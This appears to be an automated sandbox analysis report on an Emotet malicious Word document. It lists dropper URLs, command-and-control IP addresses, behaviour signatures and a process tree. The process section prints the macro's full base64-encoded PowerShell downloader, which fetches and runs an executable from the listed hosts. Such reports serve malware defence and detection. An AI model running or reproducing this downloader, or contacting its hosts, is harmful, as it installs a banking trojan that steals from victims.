Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    66s
  • max time network
    113s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    13/08/2020, 19:22

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_691b99dee2ef914fdd3bf303b640843ff12e10ce1cf0bedf440b8d134ac7ff57_2020-08-13__191953._doc.doc
  • Size 232KB
  • Sample200813-smrdtlhs2s
  • SHA256 691b99dee2ef914fdd3bf303b640843ff12e10ce1cf0bedf440b8d134ac7ff57
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://mezoonline.com/wp-content/g1e6_rf_i/
  • exe.dropper

    http://xuedashuai.xyz/wp-includes/am_mh_09e9aswb/
  • exe.dropper

    http://copyta.com/wp-admin/h33_4u_dmpy/
  • exe.dropper

    https://office.horussolution.com/files/jk31_bx_pr/
  • exe.dropper

    http://football411.net/wp-content/nlz_dqquj_s/

Extracted

Family

  • emotet

C2

  • 24.233.112.152:80

  • 69.30.203.214:8080

  • 192.210.135.126:8080

  • 47.144.21.12:443

  • 157.245.99.39:8080

  • 119.198.40.179:80

  • 62.75.141.82:80

  • 181.211.11.242:80

  • 167.86.90.214:8080

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 109.74.5.95:8080

  • 142.105.151.124:443

  • 47.146.117.214:80

  • 185.94.252.104:443

  • 2.58.16.85:7080

  • 222.214.218.37:4143

  • 85.105.205.77:8080

  • 190.160.53.126:80

  • 107.185.211.16:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_691b99dee2ef914fdd3bf303b640843ff12e10ce1cf0bedf440b8d134ac7ff57_2020-08-13__191953._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:748
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAEgAUgBJAEgAcQBxAGsAPQAnAEcATgBLAFMASgBqAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBjAFUAYABSAGkAYABUAFkAcAByAG8AYABUAG8AQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAFoARwBQAEgAYQBiAHMAIAA9ACAAJwBRAGsAYQB6ACcAOwAkAE0ARABKAEUASwB1AHYAeAA9ACcASABJAFYAWABaAGcAbgBuACcAOwAkAFYAVQBDAEMAVABxAGwAagA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFoAWgBHAFAASABhAGIAcwArACcALgBlAHgAZQAnADsAJABMAEkARABFAFYAdQBoAHEAPQAnAEkARwBLAFEAUgB1AGYAdQAnADsAJABXAEsASQBCAFEAZgB4AGwAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAEIAYwBMAEkAZQBuAHQAOwAkAEQAVABHAFkATQBvAGUAawA9ACcAaAB0AHQAcAA6AC8ALwBtAGUAegBvAG8AbgBsAGkAbgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZwAxAGUANgBfAHIAZgBfAGkALwAqAGgAdAB0AHAAOgAvAC8AeAB1AGUAZABhAHMAaAB1AGEAaQAuAHgAeQB6AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYQBtAF8AbQBoAF8AMAA5AGUAOQBhAHMAdwBiAC8AKgBoAHQAdABwADoALwAvAGMAbwBwAHkAdABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADMAMwBfADQAdQBfAGQAbQBwAHkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAGYAZgBpAGMAZQAuAGgAbwByAHUAcwBzAG8AbAB1AHQAaQBvAG4ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAGoAawAzADEAXwBiAHgAXwBwAHIALwAqAGgAdAB0AHAAOgAvAC8AZgBvAG8AdABiAGEAbABsADQAMQAxAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgBsAHoAXwBkAHEAcQB1AGoAXwBzAC8AJwAuACIAcwBwAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAEMARgBWAE8AcABuAGYAPQAnAFcATABKAFoATwBjAHkAcAAnADsAZgBvAHIAZQBhAGMAaAAoACQATABGAFQASQBBAHEAcwBoACAAaQBuACAAJABEAFQARwBZAE0AbwBlAGsAKQB7AHQAcgB5AHsAJABXAEsASQBCAFEAZgB4AGwALgAiAEQATwB3AE4AYABMAE8AYQBkAGYAYABpAGAATABlACIAKAAkAEwARgBUAEkAQQBxAHMAaAAsACAAJABWAFUAQwBDAFQAcQBsAGoAKQA7ACQATABIAEgAUABYAHUAeABtAD0AJwBJAFEAUgBCAFMAZgBzAG8AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABWAFUAQwBDAFQAcQBsAGoAKQAuACIAbABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADIAOAA5ADEAMwApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABWAFUAQwBDAFQAcQBsAGoAKQA7ACQAUABUAE8AUgBQAHMAawBmAD0AJwBJAFMASABTAEIAYwB0AG0AJwA7AGIAcgBlAGEAawA7ACQASQBFAEwAWQBDAHgAZgBwAD0AJwBVAFQARQBIAFoAcQBzAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWABRAFMAVwBNAHAAawBkAD0AJwBBAFkAUABaAFkAdABtAGYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1844
    • C:\Users\Admin\AppData\Local\Temp\Qkaz.exe
      "C:\Users\Admin\AppData\Local\Temp\Qkaz.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\SysWOW64\KBDINHIN\mfc40u.exe
        "C:\Windows\SysWOW64\KBDINHIN\mfc40u.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1632

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/748-10-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/748-5-0x000000000BE50000-0x000000000BE54000-memory.dmp
        Download

        memory/748-4-0x000000000ADD0000-0x000000000ADD4000-memory.dmp
        Download

        memory/748-2-0x00000000089A0000-0x00000000089A4000-memory.dmp
        Download

        memory/1632-24-0x0000000000320000-0x000000000032C000-memory.dmp
        Download

        memory/1844-14-0x0000000002520000-0x0000000002521000-memory.dmp
        Download

        memory/1844-17-0x000000001C480000-0x000000001C481000-memory.dmp
        Download

        memory/1844-9-0x000007FEF1E90000-0x000007FEF287C000-memory.dmp
        Download

        memory/1844-16-0x000000001B990000-0x000000001B991000-memory.dmp
        Download

        memory/1844-15-0x0000000002550000-0x0000000002551000-memory.dmp
        Download

        memory/1844-13-0x000000001AD40000-0x000000001AD41000-memory.dmp
        Download

        memory/1844-12-0x0000000002350000-0x0000000002351000-memory.dmp
        Download

        memory/1860-21-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download

        memory/2028-25-0x000007FEF2090000-0x000007FEF230A000-memory.dmp
        Download